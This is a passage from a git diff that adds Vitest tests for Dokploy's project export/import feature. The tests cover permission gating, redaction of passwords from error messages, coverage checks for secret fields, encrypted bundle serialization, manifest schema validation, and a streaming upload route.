any, + }); + (validatePlan as any).mockReset(); + (validatePlan as any).mockResolvedValue([ + { check: "server:local", ok: false, detail: "unreachable" }, + ]); + const caller = projectExportImportRouter.createCaller( + ctxFor("org-1", "user-validate-store"), + ); + const result = await caller.importValidate({ importId }); + (validatePlan as any).mockReset(); + (validatePlan as any).mockResolvedValue([]); + expect(result.checks).toEqual([ + { check: "server:local", ok: false, detail: "unreachable" }, + ]); + const status = await caller.importStatus({ importId }); + expect(status.plan?.validation).toEqual(result.checks); + }); +}); + +describe("projectExportImportRouter.importUnlock (T-9.6)", () => { + it("rejects a passphrase under 12 characters at the input-validation layer", async () => { + const importId = "import-router-unlock-1"; + createImportJob(importId, "user-1", "org-1"); + updateImportJob(importId, { workDir: local("/tmp/does-not-matter") }); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect( + caller.importUnlock({ importId, passphrase: "short" }), + ).rejects.toMatchObject({ code: "BAD_REQUEST" }); + }); +}); + +describe("projectExportImportRouter.importPlan", () => { + it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => { + const importId = "import-router-4"; + createImportJob(importId, "user-1", "org-1"); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect( + caller.importPlan({ + importId, + target: { kind: "newProject", name: "imported" }, + choices: {}, + }), + ).rejects.toMatchObject({ code: "BAD_REQUEST" }); + }); + + it("passes target.projectId to assertTransferPermission for an existingProject target", async () => { + const importId = "import-router-5"; + createImportJob(importId, "user-1", "org-1"); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await caller + .importPlan({ + importId, + target: { + kind: "existingProject", + projectId: "project-other-org", + environmentName: "imported", + }, + choices: {}, + }) + .catch(() => {}); + + const lastCall = (assertTransferPermission as any).mock.calls.at(-1); + expect(lastCall[1]).toBe("project-other-org"); + }); + + it("passes undefined projectId to assertTransferPermission for a newProject target", async () => { + const importId = "import-router-6"; + createImportJob(importId, "user-1", "org-1"); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await caller + .importPlan({ + importId, + target: { kind: "newProject", name: "imported" }, + choices: {}, + }) + .catch(() => {}); + + const lastCall = (assertTransferPermission as any).mock.calls.at(-1); + expect(lastCall[1]).toBeUndefined(); + }); + + it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => { + const { getCurrentPlan } = await import("@/server/utils/billing"); + (getCurrentPlan as any).mockResolvedValueOnce("hobby"); + + const importId = "import-router-env-limit-1"; + createImportJob(importId, "user-1", "org-1"); + updateImportJob(importId, { + snapshot: { + resources: { environments: [{}, {}, {}], services: [] }, + } as any, + }); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + + await expect( + caller.importPlan({ + importId, + target: { + kind: "existingProject", + projectId: "project-1", + environmentName: "imported", + }, + choices: {}, + }), + ).rejects.toMatchObject({ code: "FORBIDDEN" }); + }); +}); + +describe("projectExportImportRouter.importCancel", () => { + it("returns NOT_FOUND for an unknown importId", async () => { + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect( + caller.importCancel({ importId: "does-not-exist" }), + ).rejects.toMatchObject({ code: "NOT_FOUND" }); + }); + + it("maps a still-running import to CONFLICT", async () => { + const importId = "import-cancel-router-1"; + createImportJob(importId, "user-1", "org-1"); + updateImportJob(importId, { status: "restoring" }); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect(caller.importCancel({ importId })).rejects.toMatchObject({ + code: "CONFLICT", + }); + }); +}); + +describe("projectExportImportRouter.exportCancel (T-6.7)", () => { + it("maps a still-running export to CONFLICT", async () => { + const exportId = "export-cancel-router-1"; + const job = createExportJob(exportId, "user-1", "org-1"); + job.status = "dumping"; + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({ + code: "CONFLICT", + }); + }); +}); + +describe("projectExportImportRouter *Status permission gating (T-5.2)", () => { + it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => { + const exportId = "export-status-forbidden-1"; + createExportJob(exportId, "user-1", "org-1"); + const importId = "import-status-forbidden-1"; + createImportJob(importId, "user-1", "org-1"); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + const { TRPCError } = await import("@trpc/server"); + const forbidden = () => + new TRPCError({ + code: "FORBIDDEN", + message: "Only organization owners and admins can do that", + }); + + (assertTransferPermission as any).mockRejectedValueOnce(forbidden()); + await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({ + code: "FORBIDDEN", + }); + + (assertTransferPermission as any).mockRejectedValueOnce(forbidden()); + await expect(caller.importStatus({ importId })).rejects.toMatchObject({ + code: "FORBIDDEN", + }); + }); + + it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => { + const exportId = "export-status-token-1"; + createExportJob(exportId, "user-1", "org-1"); + const { updateExportJob } = await import( + "@dokploy/server/services/project-export-import" + ); + updateExportJob(exportId, { + status: "done", + downloadToken: "tok-abc123", + }); + + const caller = projectExportImportRouter.createCaller(ctxFor("org-1")); + const result = await caller.exportStatus({ exportId }); + expect((result as any).downloadToken).toBe("tok-abc123"); + }); +}); diff --git a/apps/dokploy/__test__/export-import/safe-error.test.ts b/apps/dokploy/__test__/export-import/safe-error.test.ts new file mode 100644 index 000000000..fa2755bdd --- /dev/null +++ b/apps/dokploy/__test__/export-import/safe-error.test.ts @@ -0,0 +1,41 @@ +import { safeErrorMessage } from "@dokploy/server/services/project-export-import"; +import { ExecError } from "@dokploy/server/utils/process/execAsync"; +import { describe, expect, it } from "vitest"; + +describe("safeErrorMessage (T-4.2)", () => { + it("never includes the command (which may embed a plaintext password) for an ExecError", () => { + const error = new ExecError( + "Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb", + { + command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb", + stderr: + "pg_dump: error: connection failed: FATAL: password authentication failed", + exitCode: 1, + }, + ); + const message = safeErrorMessage(error); + expect(message).not.toContain("realpassword123"); + expect(message).not.toContain("PGPASSWORD"); + expect(message).toContain("exit code 1"); + expect(message).toContain("password authentication failed"); + }); + + it("falls back to a generic message when an ExecError has no stderr", () => { + const error = new ExecError("Command execution failed", { + command: "PGPASSWORD=secret pg_dump", + }); + const message = safeErrorMessage(error); + expect(message).not.toContain("secret"); + expect(message).toBe("Command failed"); + }); + + it("passes a plain Error's message through unchanged", () => { + expect(safeErrorMessage(new Error("Service not found"))).toBe( + "Service not found", + ); + }); + + it("stringifies a non-Error thrown value", () => { + expect(safeErrorMessage("boom")).toBe("boom"); + }); +}); diff --git a/apps/dokploy/__test__/export-import/secret-fields.test.ts b/apps/dokploy/__test__/export-import/secret-fields.test.ts new file mode 100644 index 000000000..58ff477e0 --- /dev/null +++ b/apps/dokploy/__test__/export-import/secret-fields.test.ts @@ -0,0 +1,189 @@ +import { + applications, + backups, + certificates, + compose, + destinations, + dnsProvider, + environments, + libsql, + mariadb, + mongo, + mounts, + mysql, + network, + postgres, + projects, + redis, + registry, + security, + sshKeys, + vaultProvider, +} from "@dokploy/server/db/schema"; +import type { ResourceKind } from "@dokploy/server/services/project-export-import"; +import { + NEVER_EXPORT_FIELDS, + restoreSecretFields, + SECRET_FIELDS, + stripNeverExport, +} from "@dokploy/server/services/project-export-import"; +import { getTableColumns } from "drizzle-orm"; +import { describe, expect, it } from "vitest"; + +const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [ + { table: applications, kind: "application" }, + { table: compose, kind: "compose" }, + { table: environments, kind: "environment" }, + { table: libsql, kind: "libsql" }, + { table: mariadb, kind: "mariadb" }, + { table: mongo, kind: "mongo" }, + { table: mysql, kind: "mysql" }, + { table: postgres, kind: "postgres" }, + { table: projects, kind: "project" }, + { table: redis, kind: "redis" }, +]; + +const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [ + ...TABLES_WITH_KIND, + { table: mounts, kind: "mount" }, + { table: security, kind: "security" }, + { table: destinations, kind: "destination" }, + { table: registry, kind: "registry" }, + { table: sshKeys, kind: "sshKey" }, + { table: certificates, kind: "certificate" }, + { table: vaultProvider, kind: "vaultProvider" }, + { table: dnsProvider, kind: "dnsProvider" }, + { table: backups, kind: "backup" }, + { table: network, kind: "network" }, +]; + +const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i; + +describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => { + for (const { table, kind } of ALL_RESOURCE_TABLES) { + it(`covers sensitive-named columns of "${kind}"`, () => { + const columns = getTableColumns(table as any); + const sensitiveFieldNames = Object.keys(columns).filter((name) => + SENSITIVE_NAME.test(name), + ); + + const coveredBySecretFields = new Set( + (SECRET_FIELDS[kind] ?? []).map((entry) => entry.field), + ); + const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []); + + for (const fieldName of sensitiveFieldNames) { + const covered = + coveredBySecretFields.has(fieldName) || + coveredByNeverExport.has(fieldName); + expect(covered, `${kind}.${fieldName} is not covered`).toBe(true); + } + }); + } +}); + +describe("SECRET_FIELDS covers every encryptedText column", () => { + for (const { table, kind } of TABLES_WITH_KIND) { + it(`covers encrypted columns of "${kind}"`, () => { + const columns = getTableColumns(table as any); + const encryptedFieldNames = Object.entries(columns) + .filter( + ([, col]) => + (col as { columnType: string }).columnType === "PgCustomColumn", + ) + .map(([name]) => name); + expect(encryptedFieldNames.length).toBeGreaterThan(0); + + const covered = new Set( + (SECRET_FIELDS[kind] ?? []).map((entry) => entry.field), + ); + for (const fieldName of encryptedFieldNames) { + expect(covered.has(fieldName)).toBe(true); + } + }); + } +}); + +describe("stripNeverExport", () => { + it("removes NEVER_EXPORT_FIELDS for the given kind", () => { + const row = { + applicationId: "a1", + serverId: "s1", + buildServerId: "s2", + refreshToken: "tok", + githubId: "gh1", + createdAt: "2024-01-01", + name: "app", + }; + const stripped = stripNeverExport("application", row); + expect(stripped).not.toHaveProperty("serverId"); + expect(stripped).not.toHaveProperty("buildServerId"); + expect(stripped).not.toHaveProperty("refreshToken"); + expect(stripped).not.toHaveProperty("githubId"); + expect(stripped).not.toHaveProperty("createdAt"); + expect(stripped.applicationId).toBe("a1"); + expect(stripped.name).toBe("app"); + }); + + it("does not mutate the original row", () => { + const row = { serverId: "s1", name: "app" }; + stripNeverExport("postgres", row); + expect(row).toHaveProperty("serverId"); + }); + + it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => { + const row = { name: "unmapped" }; + // @ts-expect-error deliberately invalid kind, to check the fallback path + const stripped = stripNeverExport("notAKind", row); + expect(stripped).toEqual(row); + }); + + it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => { + for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) { + const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" }); + expect(stripped).not.toHaveProperty("createdAt"); + } + }); +}); + +const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]); + +describe("every jsonb column is covered or explicitly allowlisted as safe", () => { + for (const { table, kind } of ALL_RESOURCE_TABLES) { + it(`checks jsonb columns of "${kind}"`, () => { + const columns = getTableColumns(table as any); + const jsonbFieldNames = Object.entries(columns) + .filter( + ([, col]) => (col as { columnType: string }).columnType === "PgJsonb", + ) + .map(([name]) => name); + + const coveredBySecretFields = new Set( + (SECRET_FIELDS[kind] ?? []).map((entry) => entry.field), + ); + const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []); + + for (const fieldName of jsonbFieldNames) { + const covered = + coveredBySecretFields.has(fieldName) || + coveredByNeverExport.has(fieldName) || + SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`); + expect( + covered, + `${kind}.${fieldName} is not covered or allowlisted`, + ).toBe(true); + } + }); + } +}); + +describe("restoreSecretFields / CRLF env files (T-11.5)", () => { + it("resolves a $secret: reference even when the env file uses CRLF line endings", () => { + const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]); + const row = { + env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n", + }; + const result = restoreSecretFields("application", row, secretsPlain); + expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n"); + }); +}); diff --git a/apps/dokploy/__test__/export-import/secrets-review.test.ts b/apps/dokploy/__test__/export-import/secrets-review.test.ts new file mode 100644 index 000000000..03f64a1dc --- /dev/null +++ b/apps/dokploy/__test__/export-import/secrets-review.test.ts @@ -0,0 +1,53 @@ +import type { Snapshot } from "@dokploy/server/services/project-export-import"; +import { listReviewableSecrets } from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const snapshot = { + resources: { + project: {}, + environments: [], + services: [ + { + kind: "application", + applicationId: "app-1", + name: "web", + security: [ + { username: "admin", password: "$secret:sec-1" }, + { username: "plain", password: "not-a-ref" }, + ], + }, + { kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" }, + ], + shared: { + registry: [{ registryName: "ghcr", password: "$secret:reg-1" }], + destination: [ + { + name: "backups", + accessKey: "$secret:ak-1", + secretAccessKey: "$secret:sk-1", + }, + ], + sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }], + certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }], + }, + }, +} as unknown as Snapshot; + +describe("listReviewableSecrets", () => { + it("lists external credentials by secret ref, skipping database passwords and non-refs", () => { + const entries = listReviewableSecrets(snapshot); + expect( + entries.map((e) => [e.kind, e.resource, e.field, e.secretId]), + ).toEqual([ + ["basicAuth", "web · admin", "password", "sec-1"], + ["registry", "ghcr", "password", "reg-1"], + ["destination", "backups", "accessKey", "ak-1"], + ["destination", "backups", "secretAccessKey", "sk-1"], + ["sshKey", "deploy", "privateKey", "ssh-1"], + ["certificate", "wildcard", "privateKey", "cert-1"], + ]); + expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([ + "basicAuth", + ]); + }); +}); diff --git a/apps/dokploy/__test__/export-import/serialize.test.ts b/apps/dokploy/__test__/export-import/serialize.test.ts new file mode 100644 index 000000000..713e3f7c4 --- /dev/null +++ b/apps/dokploy/__test__/export-import/serialize.test.ts @@ -0,0 +1,187 @@ +import { createReadStream, createWriteStream, existsSync } from "node:fs"; +import { + mkdir, + mkdtemp, + readdir, + readFile, + rm, + writeFile, +} from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { pipeline } from "node:stream/promises"; +import type { SerializeInput } from "@dokploy/server/services/project-export-import"; +import { + deriveKeys, + gcmDecryptStream, + serialize, +} from "@dokploy/server/services/project-export-import"; +import { execAsync } from "@dokploy/server/utils/process/execAsync"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +const PASSPHRASE = "correct-horse-battery-staple"; + +let workDir: string; +let outDir: string; + +beforeEach(async () => { + workDir = await mkdtemp(join(tmpdir(), "transfer-serialize-work-")); + outDir = await mkdtemp(join(tmpdir(), "transfer-serialize-out-")); +}); + +afterEach(async () => { + await rm(workDir, { recursive: true, force: true }); + await rm(outDir, { recursive: true, force: true }); +}); + +const baseInput: SerializeInput = { + resources: { + project: { projectId: "project-1", name: "my-project" }, + environments: [{ environmentId: "env-1", name: "production" }], + services: [ + { + kind: "postgres", + postgresId: "pg-1", + name: "pg-1", + databasePassword: "$secret:11111111-1111-1111-1111-111111111111", + }, + ], + shared: {}, + }, + inventory: { + project: { name: "my-project", environments: 1 }, + environments: [ + { id: "env-1", name: "production", services: { postgres: 1 } }, + ], + totals: { postgres: 1 }, + estimatedDumpBytes: 0, + estimatedFilesBytes: 0, + images: [], + }, + requirements: [], + warnings: [], + dumps: [ + { + serviceId: "pg-1", + serviceType: "postgres", + mode: "embed", + ext: "sql.gz", + path: "dumps/pg-1.sql.gz", + bytes: 15, + }, + ], + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + organizationId: "org-1", + dokployVersion: "1.0.0-test", + exportedBy: { userId: "user-1", email: "a@b.com" }, +}; + +const secretsPlain = new Map([ + ["11111111-1111-1111-1111-111111111111", "realdbpassword"], +]); + +describe("serialize", () => { + it("keeps only the public files in clear and encrypts everything else", async () => { + await mkdir(join(workDir, "dumps"), { recursive: true }); + await writeFile(join(workDir, "dumps", "pg-1.sql.gz"), "fake-dump-bytes"); + + const bundlePath = join(outDir, "bundle.dokploy.tar.gz"); + await serialize( + baseInput, + secretsPlain, + PASSPHRASE, + local(workDir), + local(bundlePath), + ); + + expect(existsSync(bundlePath)).toBe(true); + expect(existsSync(workDir)).toBe(false); + + const { stdout: members } = await execAsync(`tar -tzf "${bundlePath}"`); + expect(members.split("\n")[0]).toBe("manifest.json"); + + const extractDir = join(outDir, "extracted"); + await mkdir(extractDir, { recursive: true }); + await execAsync(`tar -xzf "${bundlePath}" -C "${extractDir}"`); + expect((await readdir(extractDir)).sort()).toEqual([ + "inventory.json", + "manifest.json", + "payload.enc", + "requirements.json", + "warnings.json", + ]); + const outerBytes = await readFile(join(extractDir, "payload.enc")); + expect(outerBytes.includes("realdbpassword")).toBe(false); + expect(outerBytes.includes("fake-dump-bytes")).toBe(false); + + const manifest = JSON.parse( + await readFile(join(extractDir, "manifest.json"), "utf8"), + ); + const { kEnc } = await deriveKeys(PASSPHRASE, manifest.crypto.salt); + const payloadDir = join(outDir, "payload"); + await mkdir(payloadDir, { recursive: true }); + await pipeline( + createReadStream(join(extractDir, "payload.enc")), + gcmDecryptStream(kEnc), + createWriteStream(join(outDir, "payload.tar.gz")), + ); + await execAsync( + `tar -xzf "${join(outDir, "payload.tar.gz")}" -C "${payloadDir}"`, + ); + + const servicesJson = await readFile( + join(payloadDir, "resources", "services.json"), + "utf8", + ); + expect(servicesJson).not.toContain("realdbpassword"); + expect(servicesJson).toContain( + "$secret:11111111-1111-1111-1111-111111111111", + ); + expect( + await readFile(join(payloadDir, "dumps", "pg-1.sql.gz"), "utf8"), + ).toBe("fake-dump-bytes"); + const secrets = JSON.parse( + await readFile(join(payloadDir, "secrets.json"), "utf8"), + ); + expect(secrets["11111111-1111-1111-1111-111111111111"]).toBe( + "realdbpassword", + ); + }); + + it("removes workDir even when writing fails", async () => { + const bundlePath = join(outDir, "bundle.dokploy.tar.gz"); + const badInput: SerializeInput = { + ...baseInput, + resources: { + ...baseInput.resources, + project: { self: undefined as unknown }, + }, + }; + (badInput.resources.project as Record).self = + badInput.resources.project; + + await expect( + serialize( + badInput, + secretsPlain, + PASSPHRASE, + local(workDir), + local(bundlePath), + ), + ).rejects.toThrow(); + expect(existsSync(workDir)).toBe(false); + }); +}); diff --git a/apps/dokploy/__test__/export-import/types.test.ts b/apps/dokploy/__test__/export-import/types.test.ts new file mode 100644 index 000000000..df0c30c30 --- /dev/null +++ b/apps/dokploy/__test__/export-import/types.test.ts @@ -0,0 +1,116 @@ +import { serviceType } from "@dokploy/server/db/schema"; +import { + manifestSchema, + requirementSchema, + serviceTypeSchema, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const validManifest = { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: new Date().toISOString(), + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "a2V5Y2hlY2s=", + }, + counts: { application: 1 }, +}; + +describe("transfer types", () => { + it("accepts a valid manifest", () => { + expect(manifestSchema.safeParse(validManifest).success).toBe(true); + }); + + it("accepts a structurally-valid manifest with a future formatVersion (rejecting it is migrateManifest's job, not the schema's)", () => { + const result = manifestSchema.safeParse({ + ...validManifest, + formatVersion: 2, + }); + expect(result.success).toBe(true); + }); + + it("rejects a formatVersion that isn't a positive integer", () => { + expect( + manifestSchema.safeParse({ ...validManifest, formatVersion: 0 }).success, + ).toBe(false); + expect( + manifestSchema.safeParse({ ...validManifest, formatVersion: 1.5 }) + .success, + ).toBe(false); + }); + + it("rejects a Requirement with an unknown kind", () => { + const result = requirementSchema.safeParse({ + kind: "unknownKind", + originalId: null, + configIncluded: false, + usedBy: [], + }); + expect(result.success).toBe(false); + }); + + it("accepts every real Requirement kind with its shape", () => { + const base = { originalId: "id-1", configIncluded: true, usedBy: [] }; + const cases = [ + { + ...base, + kind: "vault", + providerName: "prod", + providerType: "hashicorp", + secretKeys: ["DB_PASS"], + }, + { + ...base, + kind: "gitProvider", + providerType: "github", + repositories: [{ owner: "acme", repo: "app" }], + }, + { + ...base, + kind: "destination", + bucket: "b", + endpoint: "e", + region: "r", + }, + { + ...base, + kind: "registry", + registryUrl: "r", + imagePrefix: "p", + role: ["registry"], + }, + { ...base, kind: "sshKey", publicKey: "ssh-ed25519 AAAA" }, + { ...base, kind: "network", name: "net" }, + { ...base, kind: "certificate", fingerprint: "abc123", serverId: null }, + { ...base, kind: "server", originalId: null, serverId: null }, + ]; + for (const testCase of cases) { + expect( + requirementSchema.safeParse(testCase).success, + `kind ${testCase.kind} should be valid`, + ).toBe(true); + } + }); + + it("keeps serviceTypeSchema in sync with the serviceType DB enum", () => { + expect([...serviceTypeSchema.options].sort()).toEqual( + [...serviceType.enumValues].sort(), + ); + }); +}); diff --git a/apps/dokploy/__test__/export-import/upload-route.test.ts b/apps/dokploy/__test__/export-import/upload-route.test.ts new file mode 100644 index 000000000..221dd6b12 --- /dev/null +++ b/apps/dokploy/__test__/export-import/upload-route.test.ts @@ -0,0 +1,411 @@ +import { existsSync } from "node:fs"; +import { mkdtemp, readFile, rm } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { PassThrough } from "node:stream"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +let sessionToReturn: { + session: { activeOrganizationId: string } | null; + user: { id: string } | null; +} = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1" }, +}; + +let transferPathToReturn = ""; + +vi.mock("@dokploy/server/lib/auth", () => ({ + validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)), +})); + +const { maxUploadBytesBox, remoteBox } = vi.hoisted(() => ({ + maxUploadBytesBox: { value: 10 * 1024 * 1024 * 1024 }, + remoteBox: { + commands: [] as string[], + received: [] as Buffer[], + stdin: undefined as undefined | { destroyed: boolean }, + exitCode: null as number | null, + }, +})); + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { + ...actual, + execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })), + }; +}); + +vi.mock( + "@dokploy/server/utils/process/remoteStream", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/remoteStream") + >(); + const { PassThrough: Pass } = await import("node:stream"); + return { + ...actual, + openProcessStream: async (serverId: string | null, command: string) => { + if (!serverId) return actual.openProcessStream(serverId, command); + remoteBox.commands.push(command); + const stdin = new Pass(); + const stdout = new Pass(); + const stderr = new Pass(); + remoteBox.stdin = stdin; + stdin.on("data", (chunk: Buffer) => remoteBox.received.push(chunk)); + const failWith = remoteBox.exitCode; + const exit = + failWith === null + ? new Promise((resolve) => { + stdin.on("finish", () => resolve(0)); + stdin.on("close", () => resolve(0)); + }) + : Promise.resolve(failWith); + return { + stdin, + stdout, + stderr, + exit, + close: () => stdin.destroy(), + }; + }, + }; + }, +); + +vi.mock( + "@dokploy/server/services/project-export-import", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import") + >(); + return { + ...actual, + assertTransferPermission: vi.fn(async () => ({ role: "owner" })), + findOrganizationServerId: vi.fn( + async (serverId: string | undefined, organizationId: string) => { + if (!serverId) return null; + if (serverId === "server-1" && organizationId === "org-1") { + return "server-1"; + } + throw new Error("Server not found"); + }, + ), + get TRANSFER_MAX_UPLOAD_BYTES() { + return maxUploadBytesBox.value; + }, + }; + }, +); + +vi.mock("@dokploy/server/constants", async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + paths: (isServer?: boolean) => ({ + ...actual.paths(isServer), + PROJECT_EXPORT_IMPORT_PATH: transferPathToReturn, + }), + }; +}); + +const { getImportJob } = await import( + "@dokploy/server/services/project-export-import" +); +const handler = (await import("../../pages/api/project-export-import/upload")) + .default; + +let root: string; + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), "transfer-upload-route-")); + transferPathToReturn = root; + maxUploadBytesBox.value = 10 * 1024 * 1024 * 1024; + remoteBox.exitCode = null; + sessionToReturn = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1" }, + }; +}); + +afterEach(async () => { + await rm(root, { recursive: true, force: true }); +}); + +const buildRes = () => { + const stream = new PassThrough() as unknown as { + statusCode: number; + status: (code: number) => typeof stream; + json: (body: unknown) => typeof stream; + jsonBody?: unknown; + } & PassThrough; + stream.statusCode = 200; + stream.status = vi.fn((code: number) => { + stream.statusCode = code; + return stream; + }) as typeof stream.status; + stream.json = vi.fn((body: unknown) => { + stream.jsonBody = body; + return stream; + }) as typeof stream.json; + return stream; +}; + +const buildMultipartReq = ( + fileContent: Buffer, + fileName = "bundle.dokploy.tar.gz", +) => { + const boundary = "----dokployTestBoundary"; + const head = Buffer.from( + `--${boundary}\r\nContent-Disposition: form-data; name="bundle"; filename="${fileName}"\r\nContent-Type: application/gzip\r\n\r\n`, + ); + const tail = Buffer.from(`\r\n--${boundary}--\r\n`); + const body = Buffer.concat([head, fileContent, tail]); + + const stream = new PassThrough() as unknown as PassThrough & { + method: string; + headers: Record; + }; + stream.method = "POST"; + stream.headers = { + "content-type": `multipart/form-data; boundary=${boundary}`, + "content-length": String(body.length), + }; + stream.end(body); + return stream; +}; + +const buildTwoFileMultipartReq = (first: Buffer, second: Buffer) => { + const boundary = "----dokployTestBoundary"; + const part = (name: string, content: Buffer) => + Buffer.concat([ + Buffer.from( + `--${boundary}\r\nContent-Disposition: form-data; name="${name}"; filename="${name}.tar.gz"\r\nContent-Type: application/gzip\r\n\r\n`, + ), + content, + Buffer.from("\r\n"), + ]); + const body = Buffer.concat([ + part("bundle", first), + part("bundle2", second), + Buffer.from(`--${boundary}--\r\n`), + ]); + + const stream = new PassThrough() as unknown as PassThrough & { + method: string; + headers: Record; + }; + stream.method = "POST"; + stream.headers = { + "content-type": `multipart/form-data; boundary=${boundary}`, + "content-length": String(body.length), + }; + stream.end(body); + return stream; +}; + +describe("transfer upload route", () => { + it("rejects unauthenticated requests", async () => { + sessionToReturn = { session: null, user: null }; + const req = buildMultipartReq(Buffer.from("irrelevant")); + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(401); + }); + + it("rejects non-POST methods", async () => { + const req = { method: "GET" }; + const res = buildRes(); + await handler(req as any, res as any); + expect(res.statusCode).toBe(405); + }); + + it("streams the uploaded bundle to disk and creates an import job", async () => { + const content = Buffer.from("fake bundle bytes for the upload route test"); + const req = buildMultipartReq(content); + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(200); + const importId = (res.jsonBody as { importId: string }).importId; + expect(importId).toBeDefined(); + + const job = getImportJob(importId); + expect(job?.status).toBe("uploaded"); + expect(job?.bundle?.path).toBeDefined(); + + const written = await readFile(job?.bundle?.path as string); + expect(written.equals(content)).toBe(true); + }); + + it("does not buffer the whole file into memory while receiving a large upload", async () => { + sessionToReturn = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-2" }, + }; + const chunkSize = 1024 * 1024; + const chunkCount = 50; + const chunk = Buffer.alloc(chunkSize, 7); + const content = Buffer.concat(Array(chunkCount).fill(chunk)); + const req = buildMultipartReq(content); + const res = buildRes(); + + if (global.gc) { + global.gc(); + } + const before = process.memoryUsage().heapUsed; + + await handler(req as any, res as any); + + if (global.gc) { + global.gc(); + } + const after = process.memoryUsage().heapUsed; + const grew = after - before; + + expect(res.statusCode).toBe(200); + expect(grew).toBeLessThan(content.length / 2); + }); + + it("rejects an upload with more than one file field instead of silently overwriting the first", async () => { + sessionToReturn = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-two-files" }, + }; + const first = Buffer.from("first file's real content"); + const second = Buffer.from("second file's content"); + const req = buildTwoFileMultipartReq(first, second); + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(400); + expect((res.jsonBody as { message: string }).message).toContain( + "more than one file", + ); + }); + + it("destroys the request instead of continuing to drain it once the size limit is hit", async () => { + sessionToReturn = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-over-limit" }, + }; + maxUploadBytesBox.value = 10; + const req = buildMultipartReq(Buffer.alloc(1000, 9)); + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(413); + expect((req as unknown as PassThrough).destroyed).toBe(true); + }); +}); + +describe("upload to a remote server", () => { + let counter = 0; + beforeEach(() => { + counter += 1; + sessionToReturn = { + session: { activeOrganizationId: "org-1" }, + user: { id: `remote-user-${counter}` }, + }; + remoteBox.commands = []; + remoteBox.received = []; + remoteBox.stdin = undefined; + }); + + it("streams the file into a cat process on the chosen server", async () => { + const content = Buffer.from("remote bundle bytes"); + const req = buildMultipartReq(content) as unknown as { + query?: Record; + }; + req.query = { serverId: "server-1" }; + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(200); + const { importId, serverId } = res.jsonBody as { + importId: string; + serverId: string; + 